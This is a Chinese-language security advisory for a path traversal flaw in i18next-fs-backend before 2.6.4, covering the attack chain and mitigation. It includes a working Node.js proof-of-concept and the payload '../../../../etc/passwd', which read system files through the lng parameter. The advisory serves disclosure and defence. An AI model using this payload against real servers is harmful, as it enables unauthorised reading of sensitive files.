IPBUF安全漏洞报告
English
CVE-2026-41693 CVSS 8.2 高危

CVE-2026-41693: i18next-fs-backend路径遍历漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-41693
漏洞类型
路径遍历
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
i18next-fs-backend

相关标签

路径遍历任意文件读取CWE-22i18next-fs-backendNode.jsDeno

漏洞概述

i18next-fs-backend是Node.js和Deno的国际化后端组件。在2.6.4版本之前,其在构建文件加载路径时存在缺陷。该组件直接将用户提供的lng和ns参数拼接到路径模板中,且未进行任何过滤或验证。攻击者可利用此漏洞,通过发送包含路径遍历字符(如../)的恶意请求,诱导服务器读取或写入预期目录之外的任意文件,从而导致严重的信息泄露或数据破坏风险。

技术细节

该漏洞的根本原因是i18next-fs-backend对用户输入的信任度过高。当应用使用该库从文件系统加载翻译资源时,它会调用模板替换功能,将请求参数lng(语言代码)和ns(命名空间)直接插入到loadPath配置项中。由于缺少路径规范化和输入清洗,攻击者可以通过控制这些参数注入路径遍历序列(例如“..%2F”或“../”)。在典型的Web应用场景中(如结合i18next-http-middleware),如果应用允许通过URL查询参数、Cookie或HTTP头来指定语言,攻击者发送`?lng=../../../../etc/passwd`的请求即可导致后端尝试读取系统敏感文件。此外,利用addPath功能还可能导致任意文件写入,进一步提升了攻击的潜在危害。

攻击链分析

STEP 1
侦察
攻击者识别目标Web应用使用了i18next-fs-backend库,并且通过HTTP参数(如query string, cookie, header)允许用户控制语言(lng)或命名空间(ns)参数。
STEP 2
载荷构造
攻击者构造包含路径遍历序列的恶意字符串,例如'../../../../etc/passwd',旨在绕过预设的locale目录限制。
STEP 3
发送请求
攻击者向目标服务器发送HTTP请求,将构造的恶意载荷赋值给lng或ns参数。
STEP 4
路径拼接与读取
服务器端的i18next-fs-backend接收参数,直接将其拼接到文件系统路径中,未经验证即尝试读取该路径指向的文件。
STEP 5
数据泄露
服务器响应返回了目标文件(如/etc/passwd)的内容,攻击者成功获取敏感信息或写入恶意文件。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC: Path Traversal in i18next-fs-backend < 2.6.4 // This PoC demonstrates reading /etc/passwd by manipulating the 'lng' parameter. const http = require('http'); const targetHost = 'localhost'; const targetPort = 3000; const path = '/translations'; // Endpoint using i18next-fs-backend // Malicious payload to traverse directories const maliciousLng = '../../../../etc/passwd'; const options = { hostname: targetHost, port: targetPort, path: `${path}?lng=${maliciousLng}`, method: 'GET' }; const req = http.request(options, (res) => { console.log(`Status: ${res.statusCode}`); console.log(`Headers: ${JSON.stringify(res.headers)}`); res.setEncoding('utf8'); res.on('data', (chunk) => { console.log(`Body: ${chunk}`); // Check if the response contains content from /etc/passwd if (chunk.includes('root:') || chunk.includes('nobody:')) { console.log('[+] Vulnerability confirmed: Successfully read file outside intended directory.'); } }); }); req.on('error', (e) => { console.error(`Request error: ${e.message}`); }); req.end();

影响范围

i18next-fs-backend < 2.6.4

防御指南

临时缓解措施
如果暂时无法升级,应在业务逻辑层面对语言代码和命名空间参数进行严格的正则匹配(例如只允许字母和连字符),坚决拒绝包含'.'、'/'、'\'等特殊字符的输入。此外,应限制Web服务进程的文件系统访问权限,禁止其访问敏感系统目录。

参考链接